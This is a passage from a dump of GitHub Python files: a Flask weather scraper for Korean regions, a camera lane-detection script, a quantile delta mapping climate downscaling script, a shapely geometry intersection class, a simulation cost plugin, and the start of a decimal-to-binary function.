f'https://www.weather.go.kr/weather/observation/currentweather.jsp?auto_man=m&stn=0&type=t99®=133&x=25&y=11&tm=2021.05.19.08%3A00'\r\n\t\t\t\tdriver.get(url)\r\n\t\t\t\tcontents = driver.page_source\r\n\r\n\t\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\r\n\t\t\t\ttable = soup.find('table', class_='table_develop3')\r\n\t\t\r\n\t\t\t\tw_list = []\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t\tfor tr in table.find_all('tr'):\r\n\t\t\t\t\ttds = list(tr.find_all('td'))\r\n\t\t\t\t\tfor td in tds:\r\n\t\t\t\t\t\tif td.find('a'):\r\n\t\t\t\t\t\t\tpoint = td.find('a').text\r\n\t\t\t\t\t\t\ttemp = tds[5].text\r\n\t\t\t\t\t\t\thumidity = tds[9].text\r\n\t\t\t\t\t\t\tprint(\"{0:<7} {1:<7} {2:<7}\".format(point,temp,humidity))\r\n\t\t\t\t\t\t\tw_list.append([point,temp,humidity])\r\n\t\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t#강원 지역 날씨\r\n\t\t\telif local == \"gwanone\":\r\n\t\t\t\turl = f'https://www.weather.go.kr/weather/observation/currentweather.jsp?auto_man=m&stn=0&type=t99®=105&x=28&y=10&tm=2021.05.19.08%3A00'\r\n\t\t\t\tdriver.get(url)\r\n\t\t\t\tcontents = driver.page_source\r\n\r\n\t\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\r\n\t\t\t\ttable = soup.find('table', class_='table_develop3')\r\n\t\t\r\n\t\t\t\tw_list = []\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t\tfor tr in table.find_all('tr'):\r\n\t\t\t\t\ttds = list(tr.find_all('td'))\r\n\t\t\t\t\tfor td in tds:\r\n\t\t\t\t\t\tif td.find('a'):\r\n\t\t\t\t\t\t\tpoint = td.find('a').text\r\n\t\t\t\t\t\t\ttemp = tds[5].text\r\n\t\t\t\t\t\t\thumidity = tds[9].text\r\n\t\t\t\t\t\t\tprint(\"{0:<7} {1:<7} {2:<7}\".format(point,temp,humidity))\r\n\t\t\t\t\t\t\tw_list.append([point,temp,humidity])\r\n\t\t\t\t\r\n\t\t\r\n\t\t\t\t\r\n\t\t\t\r\n\r\n\t\t\t#제주도 날씨\r\n\t\t\telif local == \"jeju\":\r\n\t\t\t\turl = f'https://www.weather.go.kr/weather/observation/currentweather.jsp?auto_man=m&stn=0&type=t99®=184&x=22&y=0&tm=2021.05.19.08%3A00'\r\n\t\t\t\tdriver.get(url)\r\n\t\t\t\tcontents = driver.page_source\r\n\r\n\t\t\t\tsoup = BeautifulSoup(contents, \"html.parser\")\r\n\t\t\r\n\t\t\r\n\t\t\t\ttable = soup.find('table', class_='table_develop3')\r\n\t\t\r\n\t\t\t\tw_list = []\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\t\tfor tr in table.find_all('tr'):\r\n\t\t\t\t\ttds = list(tr.find_all('td'))\r\n\t\t\t\t\tfor td in tds:\r\n\t\t\t\t\t\tif td.find('a'):\r\n\t\t\t\t\t\t\tpoint = td.find('a').text\r\n\t\t\t\t\t\t\ttemp = tds[5].text\r\n\t\t\t\t\t\t\thumidity = tds[9].text\r\n\t\t\t\t\t\t\tprint(\"{0:<7} {1:<7} {2:<7}\".format(point,temp,humidity))\r\n\t\t\t\t\t\t\tw_list.append([point,temp,humidity])\r\n\t\t\t\t\r\n\t\t\r\n\r\n\t\t\treturn render_template('weathertest.html', user_id=user_id, name=name, w_list=w_list)\r\n\t\t\r\n\t\treturn render_template('weathertest.html', user_id='-1', name='-1')\r\n \r\n\r\n#Socket 가동\r\n\r\nif __name__ == '__main__':\r\n\t#app.run(debug=True)\r\n\t#socketio.run(app, debug=True, host = '0.0.0.0')\r\n\t\t\r\n\tsocketio.run(app,port=5000, host='0.0.0.0', debug=True)\r\n\t#app.run(host='0.0.0.0', debug=True, port=5000)","repo_name":"ehdrms235/farm-diary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":43631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74656888348","text":"import cv2\nimport numpy as np\nfrom lib.morai_udp_parser import udp_parser\nfrom lib.cam_util import UDP_CAM_Parser\nfrom lib.image_filter import *\nfrom lib.cam_line import *\nimport os,json\nfrom lib.common_util import *\n\npath = os.path.dirname( os.path.abspath( __file__ ) )\nwith open(os.path.join(path,(\"params.json\")),'r') as fp :\n params = json.load(fp)\n\nparams=params[\"params\"]\nuser_ip = params[\"user_ip\"]\ncam_port = params[\"cam_dst_port\"]\npath_folder_name = params[\"lkas_point_folder_name\"]\npath_file_name = params[\"lkas_point_file_name\"]\n\nparams_cam = {\n \"localIP\": user_ip,\n \"localPort\": cam_port,\n \"Block_SIZE\": int(65000)\n}\n#map = np.ones((2000,2000,3),np.uint8)\n# bev params\noffset = [60,0]\nbev_roi = np.array([[73, 480],[277, 325],[360, 325],[563, 480]])\nwarp_dst = np.array([bev_roi[0] + offset, np.array([bev_roi[0, 0], 0]) + offset,\n np.array([bev_roi[3, 0], 0]) - offset, bev_roi[3] - offset])\n\n#tranformation ref params\nref_heading = 1.561810851097107\nref_pos = [95.91738891601562,1608.2139892578125,1]\n\n#pix2world param\n# real xy roi\n#97.23139953613281, 1610.06298828125,\n#109.17155456542969, 1610.157958984375\n#109.2884750366211, 1606.446044921875\n#97.22319030761719, 1606.4361572265625\n\n# bev ROI 640x480\n#[133 480]\n#[133 0]\n#[503 0]\n#[503 480]\n\ndef main():\n udp_cam = UDP_CAM_Parser(ip=params_cam[\"localIP\"], port=params_cam[\"localPort\"], params_cam=params_cam) \n #CreateTrackBar_Init()\n file_path=os.path.dirname( os.path.abspath( __file__ ) )\n file_path = os.path.normpath(os.path.join(file_path, '../../..'))\n\n #full_path = file_path+'/'+path_folder_name+'/'+path_file_name\n #f=open(full_path, 'a')\n while True :\n if udp_cam.is_img==True and cv2.waitKey(33) != ord('q'):\n\n #obj data\n img_cam = udp_cam.raw_img\n # 이미지 w, h 추출\n bev_img, mat, inv_mat = bird_eye_view(img_cam, bev_roi, warp_dst)\n cv2.imshow(\"img\",bev_img)\n \n #draw roi\n draw_roi(img_cam, bev_roi, warp_dst)\n\n # color thresh\n cv2.imshow(\"bev\",bev_img)\n ht = hls_thresh(bev_img)\n lbc = lab_b_channel(bev_img)\n ib = hsv(bev_img)\n\n cv2.imshow(\"hsv\",ib*255)\n cv2.imshow(\"hsl\",ht*255)\n cv2.imshow(\"CIELAB\",lbc*255)\n \n res2 = np.zeros_like(ht)\n res2[((ht == 1)&(ib==1))|((lbc == 1)&(ib==1))] = 1\n\n #cv2.imshow(\"result\",res2*255)\n \n # window search and get center point of lanes (bev)\n try :\n left, right, center, _,_,_,_,win_img = window_search(res2)\n except TypeError:\n continue\n cv2.imshow(\"win search rst\",win_img)\n # point tranformation (bev -> origin)\n for point in center:\n cv2.line(bev_img, (point[0],point[1]),(point[0],point[1]), (0,0,207), thickness=30)\n \n # transformation origin pixel -> x,y coordinate\n \nif __name__ == '__main__':\n main()\n\n\n","repo_name":"Hello-Hyuk/wego-project","sub_path":"erp_udp/scripts/camera/camera_window_search.py","file_name":"camera_window_search.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14175350664","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 10 19:02:48 2023\r\n\r\n@author: ALEXIS\r\n\"\"\"\r\n\r\n## DOWNSCALING QUANTILE DELTA MAPPING \r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pymannkendall as pmk \r\nimport seaborn as sns\r\n\r\n\r\n#read file\r\n## CHANGE DIRECTORIES\r\npath_observations=r'D:\\UPWORK_FREELANCE\\BOENCO\\INPUT-LL'\r\npath_historical=r'D:\\UPWORK_FREELANCE\\BOENCO\\INPUT-LL\\0_Extracted\\Historical'\r\npath_future=r'D:\\UPWORK_FREELANCE\\BOENCO\\INPUT-LL\\0_Extracted\\RCP45'\r\nsalida=r'D:\\UPWORK_FREELANCE\\BOENCO\\INPUT-LL\\02_Perturbed_Series\\RCP45'\r\n\r\n\r\n#QUANTILE DELTA MAPPING\r\n##Input\r\ni=1 ## change i to evaluate another station\r\n##CHANGE NAME OF MODELS\r\nmodel_name='1_pr_rcp45_CCCma-CanESM2_1'\r\nos.chdir(path_observations)\r\nobs=pd.read_excel('LaPaz_Pr_Obs.xlsx',usecols=[0,i],index_col=0)\r\nos.chdir(path_historical)\r\ncurr_clim=pd.read_csv('1_pr_historical_CCCma-CanESM2_1_estaciones.csv',usecols=[0,i],index_col=0)\r\ncurr_clim.index=pd.to_datetime(curr_clim.index,format='%Y-%m-%d', errors='coerce')\r\nos.chdir(path_future)\r\nfut_clim=pd.read_csv('1_pr_rcp45_CCCma-CanESM2_1_estaciones.csv',usecols=[0,i],index_col=0)\r\nfut_clim.index=pd.to_datetime(fut_clim.index,format='%Y-%m-%d', errors='coerce')\r\n\r\n\r\nNyears=round(len(fut_clim)/365.5,0) \r\nObsyears=round(len(obs)/365.5,0)\r\n#create output dataframe\r\ndf_salida=pd.DataFrame()\r\n########\r\n##Filtering Time periods\r\n\r\ndef filter_date(df):\r\n start_date='1980-01-01'\r\n end_date='2018-12-31'\r\n mask = (df.index >= start_date) & (df.index <= end_date)\r\n df=df.loc[mask]\r\n return df\r\n\r\ndef filter_date_HIST(df):\r\n start_date='1965-01-01'\r\n end_date='2005-01-01'\r\n mask = (df.index >= start_date) & (df.index <= end_date)\r\n df=df.loc[mask]\r\n return df\r\n\r\nobs=filter_date(obs)\r\ncurr_clim=filter_date_HIST(curr_clim)\r\n\r\ndef filter_date1(df):\r\n start_date='2030-01-01'\r\n end_date='2070-01-01'\r\n mask = (df.index >= start_date) & (df.index <= end_date)\r\n df=df.loc[mask]\r\n return df\r\n\r\nfut_clim=filter_date1(fut_clim)\r\n\r\n##get the name of the column\r\nname_station=obs.columns.values\r\nname_station=name_station[0]\r\n####mankendal test\r\ndf_yearly_Obs=obs.copy()\r\ndf_yearly_Obs['year']=df_yearly_Obs.index.year\r\ndf_yearly_Obs=df_yearly_Obs.groupby('year')[name_station].sum()\r\ndf_yearly_Obs=df_yearly_Obs.to_frame()\r\n\r\nplt.scatter(df_yearly_Obs.index,df_yearly_Obs[name_station])\r\nplt.show()\r\nplt.clf()\r\n\r\ntest = pmk.original_test(df_yearly_Obs[name_station], alpha=0.05)\r\n\r\nprint(\"\\n\"+'Precipitation Observed at: '+str(name_station), test)\r\n\r\n\r\ndef POT(df,nam):\r\n POT=pd.DataFrame()\r\n POT[nam]=df[nam]\r\n POT.sort_values(by=nam,ascending=False, inplace=True)\r\n POT['Ranked']=range(1,len(POT)+1) \r\n POT= POT.astype({'Ranked':'float'})\r\n n=len(POT) #sample size\r\n years=round(n/365) #number of years\r\n def ERP(x):\r\n return (years/(x))\r\n POT['Return_Period']=POT['Ranked'].apply(ERP)\r\n return POT\r\n\r\nC_climate=POT(curr_clim,name_station)\r\nObs_climate=POT(obs,name_station)\r\n\r\nplt.scatter(C_climate['Return_Period'],C_climate[name_station],s=10,label='Model_Historical')\r\nplt.scatter(Obs_climate['Return_Period'],Obs_climate[name_station],s=10,label='Observations')\r\nplt.xscale('log')\r\nplt.legend()\r\nplt.title(str(name_station))\r\nplt.show()\r\nplt.clf()\r\n\r\n#%%\r\ndailyO=pd.DataFrame()\r\ndailyO['DailyO']=obs[name_station]\r\ndailyMC=curr_clim.copy()\r\ndailyMT=fut_clim.copy()\r\ndatesO=['1980-01-01','2005-12-31'] ##Change Time period according to historical observations\r\ndatesO = [pd.to_datetime(date) for date in datesO]\r\n\r\ndailyO=dailyO['DailyO'].tolist()\r\ndailyMC=dailyMC[name_station].to_list()\r\ndailyMT=dailyMT[name_station].to_list()\r\n\r\ndatesO = obs.index.tolist()\r\ndatesC = curr_clim.index.tolist()\r\ndatesT = fut_clim.index.tolist()\r\n\r\ndef QDM(var, dailyO, dailyMC, dailyMT, datesO, datesC, datesT):\r\n \r\n # Input\r\n # dailyO: serie obs\r\n # dailyMC: serie sim historica\r\n # dailyMT: serie sim futura\r\n #datesO: lista fechas serie obs\r\n #datesC: lista fecha clima historico modelo\r\n #datexT: lista fechas clima futuro modelo\r\n # dailyO: [1970,2005]\r\n # dailyMC: [1970,2005]\r\n # dailyMT: [2036,2065]\r\n \r\n\r\n # Written by Martin Gomez Garcia Alvestegui(ゴメス マルティン)\r\n \r\n startYear, endYear = datesO[0].year, datesO[-1].year\r\n CDFO = np.zeros((12,31*3*(endYear-startYear+1)),dtype = np.float64) #*3 window 3 months \r\n startYear, endYear = datesC[0].year, datesC[-1].year\r\n CDFMC = np.zeros((12,31*3*(endYear-startYear+1)),dtype = np.float64)\r\n startYear, endYear = datesT[0].year, datesT[-1].year\r\n CDFMT = np.zeros((12,31*3*(endYear-startYear+1)),dtype = np.float64)\r\n\r\n arrLenCO,arrLenC,arrLenT = np.zeros((3,12),dtype = np.int32)\r\n\r\n \r\n # For precipitation \r\n if var == 'pr':\r\n\r\n for im in range(1,13):\r\n \r\n # Define the months for calibration\r\n monBef = 12 if im == 1 else im-1\r\n monAct = im\r\n monAft = 1 if im == 12 else im+1 \r\n\r\n indxsCO = np.where([(dt.month==monBef or dt.month==monAct or dt.month==monAft)for dt in datesO])\r\n indxsC = np.where([(dt.month==monBef or dt.month==monAct or dt.month==monAft)for dt in datesC])\r\n arrLenCO[im-1] = len(indxsCO[0])\r\n arrLenC[im-1] = len(indxsC[0])\r\n\r\n indxsT = np.where([(dt.month==monBef or dt.month==monAct or dt.month==monAft)for dt in datesT])\r\n arrLenT[im-1] = len(indxsT[0])\r\n\r\n # Obs\r\n tempDaily = np.sort(np.array(dailyO)[indxsCO])\r\n numZeros = len(np.where(tempDaily<0.05)[0])\r\n randNum = np.random.uniform(0.00001,0.05,size=numZeros)\r\n tempDaily[np.where(tempDaily<0.05)] = np.sort(randNum)\r\n CDFO[im-1][:arrLenCO[im-1]] = tempDaily \r\n\r\n # Mod Calib\r\n tempDaily = np.sort(np.array(dailyMC)[indxsC])\r\n numZeros = len(np.where(tempDaily<0.05)[0])\r\n randNum = np.random.uniform(0.00001,0.05,size=numZeros)\r\n tempDaily[np.where(tempDaily<0.05)] = np.sort(randNum)\r\n CDFMC[im-1][:arrLenC[im-1]] = tempDaily\r\n\r\n # Mod Target\r\n tempDaily = np.sort(np.array(dailyMT)[indxsT])\r\n numZeros = len(np.where(tempDaily<0.05)[0])\r\n randNum = np.random.uniform(0.00001,0.05,size = numZeros)\r\n tempDaily[np.where(tempDaily<0.05)] = np.sort(randNum)\r\n CDFMT[im-1][:arrLenT[im-1]] = tempDaily\r\n\r\n #tildeDaily = np.zeros_like(dailyMT) #Focus on the Future Climatic model\r\n tildeDaily=np.zeros_like(dailyO)\r\n #for ii,iDay in enumerate(datesT): #dates length of the Future Climatic Model\r\n for ii,iDay in enumerate(datesO):\r\n \r\n # Loop over each day in the target period : datesT . Determine this month.\r\n im = iDay.month\r\n # Copy the CDFs\r\n ecdfO = CDFO[im-1][:arrLenCO[im-1]] #Obs\r\n ecdfMC = CDFMC[im-1][:arrLenC[im-1]]\r\n ecdfMT = CDFMT[im-1][:arrLenT[im-1]]\r\n\r\n # Create a probability array for the calibration period (pCO;pC) and target period (pT)\r\n pCO = (np.arange(arrLenCO[im-1])-0.5)/arrLenCO[im-1] #Obs\r\n pC = (np.arange(arrLenC[im-1])-0.5)/arrLenC[im-1] #Current Climate\r\n pT = (np.arange(arrLenT[im-1])-0.5)/arrLenT[im-1] #Fut climate\r\n\r\n # Calculate the absolute change of the quantile (qDelta)\r\n thisQuantile = np.interp(dailyMT[ii],ecdfMT,pT)\r\n daily_MC = np.interp(thisQuantile,pC,ecdfMC)\r\n #plt.plot(thisQuantile)\r\n #plt.show()\r\n #plt.clf()\r\n\r\n qDelta = dailyMT[ii] / daily_MC \r\n print(round(qDelta,3))\r\n #print(thisQuantile)\r\n #print(pCO)\r\n #print(ecdfO)\r\n # Calculate the corrected value\r\n tildeDaily[ii] = np.interp(thisQuantile,pCO,ecdfO) * qDelta \r\n #print(tildeDaily[ii])\r\n tildeDaily[np.where(tildeDaily<0.05)] = 0 \r\n \r\n \r\n # For temperature CAL\r\n else:\r\n for im in range(1,13):\r\n \r\n # Define the months for calibration\r\n monBef = 12 if im == 1 else im-1\r\n monAct = im\r\n monAft = 1 if im == 12 else im+1 \r\n\r\n indxsCO = np.where([(dt.month==monBef or dt.month==monAct or dt.month==monAft)for dt in datesO])\r\n indxsC = np.where([(dt.month==monBef or dt.month==monAct or dt.month==monAft)for dt in datesC])\r\n arrLenCO[im-1] = len(indxsCO[0])\r\n arrLenC[im-1] = len(indxsC[0])\r\n\r\n indxsT = np.where([(dt.month==monBef or dt.month==monAct or dt.month==monAft)for dt in datesT])\r\n arrLenT[im-1] = len(indxsT[0])\r\n\r\n # Obs\r\n tempDaily = np.sort(dailyO[indxsCO])\r\n CDFO[im-1][:arrLenCO[im-1]] = tempDaily \r\n\r\n # Mod Calib\r\n tempDaily = np.sort(dailyMC[indxsC])\r\n CDFMC[im-1][:arrLenC[im-1]] = tempDaily\r\n\r\n # Mod Target\r\n tempDaily = np.sort(dailyMT[indxsT])\r\n CDFMT[im-1][:arrLenT[im-1]] = tempDaily\r\n\r\n tildeDaily = np.zeros_like(dailyMT)\r\n for ii,iDay in enumerate(datesT):\r\n \r\n # Loop over each day in the target period : datesT . Determine this month.\r\n im = iDay.month\r\n # Copy the CDFs\r\n ecdfO = CDFO[im-1][:arrLenCO[im-1]]\r\n ecdfMC = CDFMC[im-1][:arrLenC[im-1]]\r\n ecdfMT = CDFMT[im-1][:arrLenT[im-1]]\r\n\r\n # Create a probability array for the calibration period (pCO;pC) and target period (pT)\r\n pCO = (np.arange(arrLenCO[im-1])-0.5)/arrLenCO[im-1]\r\n pC = (np.arange(arrLenC[im-1])-0.5)/arrLenC[im-1]\r\n pT = (np.arange(arrLenT[im-1])-0.5)/arrLenT[im-1]\r\n\r\n # Calculate the absolute change of the quantile (qDelta)\r\n thisQuantile = np.interp(dailyMT[ii],ecdfMT,pT)\r\n daily_MC = np.interp(thisQuantile,pC,ecdfMC)\r\n\r\n qDelta = dailyMT[ii] - daily_MC \r\n # Calculate the corrected value\r\n tildeDaily[ii] = np.interp(thisQuantile,pCO,ecdfO) + qDelta \r\n\r\n return tildeDaily\r\n \r\n\r\n#%%\r\nAldunate_series=QDM('pr',dailyO,dailyMC,dailyMT,datesO,datesC,datesT)\r\nAldunate_series[4]\r\nobs['QDM_perturbed']=Aldunate_series\r\n\r\n\r\nplt.plot(obs.QDM_perturbed,label='QDM')\r\nplt.plot(obs[name_station],label='historic obs')\r\nplt.legend()\r\nplt.show()\r\nplt.clf()\r\n\r\n\r\n#%%\r\n#Seasonality Functions for Precipitation\r\n\r\ndef Monthly(df):\r\n mon_dict={1:'Jan',2:'Feb',3:'Mar',4:'Apr',5:'May',\r\n 6:'Jun',7:'Jul',8:'Aug',9:'Sep',10:'Oct',11:'Nov',12:'Dec'}\r\n df.index=pd.to_datetime(df.index,errors='coerce')\r\n df_mon=df.groupby([df.index.month,df.index.year],sort=False).sum()\r\n df_mon.index.rename(['Month','Year'],inplace=True)\r\n df_mon.reset_index(level=0,inplace=True)\r\n df_mon.replace({'Month':mon_dict},inplace=True)\r\n return df_mon\r\n\r\ndef Season(df):\r\n mon_dict={1:'Jan',2:'Feb',3:'Mar',4:'Apr',5:'May',\r\n 6:'Jun',7:'Jul',8:'Aug',9:'Sep',10:'Oct',11:'Nov',12:'Dec'}\r\n df_season=df.groupby([df['Month']],sort=False).mean()\r\n #df_season.reset_index(level=0,inplace=True)\r\n df_season=df_season.rename(index=mon_dict)\r\n return df_season\r\n\r\nQDM=pd.DataFrame(Aldunate_series,columns=['QDM'])\r\nQDM.index=obs.index.copy()\r\n\r\n\r\n\r\nQDM_POT=POT(QDM,'QDM')\r\n\r\n\r\nplt.scatter(Obs_climate['Return_Period'],Obs_climate[name_station],s=10,label='Observations')\r\nplt.scatter(QDM_POT['Return_Period'],QDM_POT['QDM'],s=10,label='QDM')\r\nplt.xscale('log')\r\nplt.title('Quantiles Delta Mapping'+' '+name_station)\r\nplt.legend()\r\nplt.show()\r\nplt.clf()\r\n\r\nmon_obs=Monthly(obs)\r\nseason_obs=Season(mon_obs)\r\n\r\nplt.plot(season_obs.QDM_perturbed,label='QDM')\r\nax=sns.lineplot(data=mon_obs,x='Month',y=str(name_station),\r\n legend=False, lw=1.5,color='black',label='Historical obs')\r\nplt.plot(season_obs[name_station],label='historic obs')\r\nplt.legend()\r\nplt.title(name_station)\r\nplt.show()\r\nplt.clf()\r\n\r\n\r\n\r\n##Output file to excel Matrix\r\n\r\nname=str(i)+'_'+str(name_station)\r\ndf_salida[name]=obs['QDM_perturbed']\r\n#df_salida=obs.QDM_perturbed.copy().to_frame()\r\n#df_salida=df_salida.rename(columns={'QDM_perturbed':'QDM_'+str(name_station)})\r\n\r\nprint('station number is: '+ str(i))\r\n\r\nos.chdir(salida)\r\n#df_salida.to_excel(model_name+'_Perturbed.xlsx')\r\nprint('station number is: '+ str(i)+' and output success!')\r\n","repo_name":"alexischavez502/Climate-Change-Impact-Analysis","sub_path":"QDM.py","file_name":"QDM.py","file_ext":"py","file_size_in_byte":12681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17636301890","text":"from functools import lru_cache\n\nfrom numpy import ndarray\nfrom shapely import GeometryCollection, LineString\nfrom shapely import Polygon as ShapelyPolygon\nfrom shapely import contains_xy, prepare\nfrom shapely.ops import snap, split\n\nfrom OTAnalytics.domain.geometry import Coordinate, Line, Polygon\nfrom OTAnalytics.domain.intersect import IntersectImplementation\nfrom OTAnalytics.plugin_intersect.shapely.mapping import ShapelyMapper\n\n\n@lru_cache(maxsize=100000)\ndef cached_intersects(line_1: LineString, line_2: LineString) -> bool:\n return line_1.intersects(line_2)\n\n\nclass ShapelyIntersector(IntersectImplementation):\n \"\"\"Provides shapely geometry operations.\"\"\"\n\n def __init__(self, mapper: ShapelyMapper = ShapelyMapper()) -> None:\n self._mapper = mapper\n\n def line_intersects_line(self, line_1: Line, line_2: Line) -> bool:\n \"\"\"Checks if a line intersects with another line.\n\n Args:\n line_1 (Line): the first line.\n line_2 (Line): the second line.\n\n Returns:\n bool: `True` if they intersect. Otherwise `False`.\n \"\"\"\n shapely_line_1 = self._mapper.map_to_shapely_line_string(line_1)\n shapely_line_2 = self._mapper.map_to_shapely_line_string(line_2)\n\n return cached_intersects(shapely_line_1, shapely_line_2)\n\n def line_intersects_polygon(self, line: Line, polygon: Polygon) -> bool:\n \"\"\"Checks if a line intersects with a polygon.\n\n Args:\n line (Line): the line.\n polygon (Polygon): the polygon.\n\n Returns:\n bool: `True` if they intersect. Otherwise `False`.\n \"\"\"\n shapely_line = self._mapper.map_to_shapely_line_string(line)\n shapely_polygon = self._mapper.map_to_shapely_polygon(polygon)\n return shapely_line.intersects(shapely_polygon)\n\n def intersection_line_with_line(\n self, line_1: Line, line_2: Line\n ) -> list[Coordinate]:\n \"\"\"Calculates the intersection points of to lines if they exist.\n\n Args:\n line_1 (Line): the first line to intersect with.\n line_2 (Line): the second line to intersect with.\n\n Returns:\n list[Coordinate]: the intersection points if they intersect.\n Otherwise, `None`.\n \"\"\"\n shapely_line_1 = self._mapper.map_to_shapely_line_string(line_1)\n shapely_line_2 = self._mapper.map_to_shapely_line_string(line_2)\n intersection = shapely_line_1.intersection(shapely_line_2)\n if intersection.is_empty:\n return []\n else:\n try:\n intersection_points: list[Coordinate] = []\n\n for intersection_point in intersection.geoms:\n intersection_points.append(\n self._mapper.map_to_domain_coordinate(intersection_point)\n )\n return intersection_points\n except AttributeError:\n return [self._mapper.map_to_domain_coordinate(intersection)]\n\n def split_line_with_line(self, line: Line, splitter: Line) -> list[Line]:\n \"\"\"Use a LineString to split another LineString.\n\n If `line` intersects `splitter` then line_1 will be splitted at the\n intersection points.\n I.e. Let line_1 = [p_1, p_2, ..., p_n], n a natural number and p_x\n the intersection point.\n\n Then `line` will be splitted as follows:\n [[p_1, p_2, ..., p_x], [p_x, p_(x+1), ..., p_n].\n\n Args:\n line (Line): the line to be splitted.\n splitter (Line): the line used for splitting.\n\n Returns:\n list[Line]: the splitted lines.\n \"\"\"\n shapely_line = self._mapper.map_to_shapely_line_string(line)\n shapely_splitter = self._mapper.map_to_shapely_line_string(splitter)\n intersection_points = self._complex_split(shapely_line, shapely_splitter)\n if len(intersection_points.geoms) == 1:\n # If there are no splits, intersection_points holds a single element\n # that is the original `line`.\n return []\n\n return [\n self._mapper.map_to_domain_line(line_string)\n for line_string in intersection_points.geoms\n ]\n\n def distance_between(self, point_1: Coordinate, point_2: Coordinate) -> float:\n \"\"\"Calculates the distance between two points.\n\n Args:\n point_1 (Coordinate): the first coordinate to calculate the distance for.\n point_2 (Coordinate): the second coordinate to calculate the distance for.\n\n Returns:\n float: the unitless distance between p1 and p2.\n \"\"\"\n shapely_p1 = self._mapper.map_to_shapely_point(point_1)\n shapely_p2 = self._mapper.map_to_shapely_point(point_2)\n\n return shapely_p1.distance(shapely_p2)\n\n def are_coordinates_within_polygon(\n self, coordinates: list[Coordinate], polygon: Polygon\n ) -> list[bool]:\n \"\"\"Checks if the points are within the polygon.\n\n A point is within a polygon if it is enclosed by it. Meaning that a point\n sitting on the boundary of a polygon is treated as not being within it.\n\n Args:\n coordinates (list[Coordinate]): the coordinates.\n polygon (Polygon): the polygon.\n\n Returns:\n list[bool]: the boolean mask holding the information whether a coordinate is\n within the polygon or not.\n \"\"\"\n shapely_points = self._mapper.map_to_tuple_coordinates(coordinates)\n shapely_polygon = self._mapper.map_to_shapely_polygon(polygon)\n prepare(shapely_polygon)\n mask: ndarray = contains_xy(shapely_polygon, shapely_points)\n return mask.tolist()\n\n def _complex_split(\n self, geom: LineString, splitter: LineString | ShapelyPolygon\n ) -> GeometryCollection:\n \"\"\"Split a complex linestring by another geometry without splitting at\n self-intersection points.\n\n Split a complex linestring using shapely.\n\n Inspired by https://github.com/Toblerity/Shapely/issues/1068\n\n Parameters\n ----------\n geom : LineString\n An optionally complex LineString.\n splitter : Geometry\n A geometry to split by.\n\n Warnings\n --------\n A known vulnerability is where the splitter intersects the complex\n linestring at one of the self-intersecting points of the linestring.\n In this case, only the first path through the self-intersection\n will be split.\n\n Examples\n --------\n >>> complex_line_string = LineString([(0, 0), (1, 1), (1, 0), (0, 1)])\n >>> splitter = LineString([(0, 0.5), (0.5, 1)])\n >>> complex_split(complex_line_string, splitter).wkt\n 'GEOMETRYCOLLECTION (\n LINESTRING (0 0, 1 1, 1 0, 0.25 0.75), LINESTRING (0.25 0.75, 0 1)\n )'\n\n Return\n ------\n GeometryCollection\n A collection of the geometries resulting from the split.\n \"\"\"\n if geom.is_simple:\n return split(geom, splitter)\n\n if isinstance(splitter, ShapelyPolygon):\n splitter = splitter.exterior\n\n # Ensure that intersection exists and is zero dimensional.\n relate_str = geom.relate(splitter)\n if relate_str[0] == \"1\":\n raise ValueError(\n \"Cannot split LineString by a geometry which intersects a \"\n \"continuous portion of the LineString.\"\n )\n if not (relate_str[0] == \"0\" or relate_str[1] == \"0\"):\n return GeometryCollection((geom,))\n\n intersection_points = geom.intersection(splitter)\n # This only inserts the point at the first pass of a self-intersection if\n # the point falls on a self-intersection.\n snapped_geom = snap(\n geom, intersection_points, tolerance=1.0e-12\n ) # may want to make tolerance a parameter.\n # A solution to the warning in the docstring is to roll your own split method\n # here. The current one in shapely returns early when a point is found to be\n # part of a segment. But if the point was at a self-intersection it could be\n # part of multiple segments.\n return split(snapped_geom, intersection_points)\n","repo_name":"OpenTrafficCam/OTAnalytics","sub_path":"OTAnalytics/plugin_intersect/shapely/intersect.py","file_name":"intersect.py","file_ext":"py","file_size_in_byte":8303,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"11"} +{"seq_id":"20027902957","text":"from simulation.plugins.interface import IPlugin\n\n\nclass CostPlugin(IPlugin):\n\n def on_sim_done(self, instance):\n super().on_sim_done(instance)\n self.cost = 0\n for lot in instance.done_lots:\n self.cost += 25 if lot.deadline_at < lot.done_at else 0\n self.cost += max(0, lot.done_at - lot.deadline_at) / 3600 / 24\n self.cost += len(instance.active_lots) * 200\n self.done_lots = len(instance.done_lots)\n\n def get_output_name(self):\n super().get_output_name()\n return 'cost'\n\n def get_output_value(self):\n return self.cost\n","repo_name":"prosysscience/PySCFabSim-release","sub_path":"simulation/plugins/cost_plugin.py","file_name":"cost_plugin.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"5024495208","text":"lista_auxiliar = []\r\nlista_auxiliar5 = []\r\nlista_auxiliar7 = []\r\n\r\n\r\n\r\n\r\ndef dec2bin(n):\r\n if n == 0:\r\n hiindex = len(lista_auxiliar)-1\r\n for x in range(len(lista_auxiliar)//2):\r\n lista_auxiliar[x], lista_auxiliar[hiindex] = lista_auxiliar[hiindex], lista_auxiliar[x]\r\n hiindex-= 1\r\n transformar_str = [str(x) for x in lista_auxiliar]\r\n resultado = (''.join(transformar_str))\r\n return 1 and print(resultado)\r\n else:\r\n\r\n lista_auxiliar.append(n % 2)\r\n return dec2bin(n//2)\r\n\r\n\r\n\r\ndef 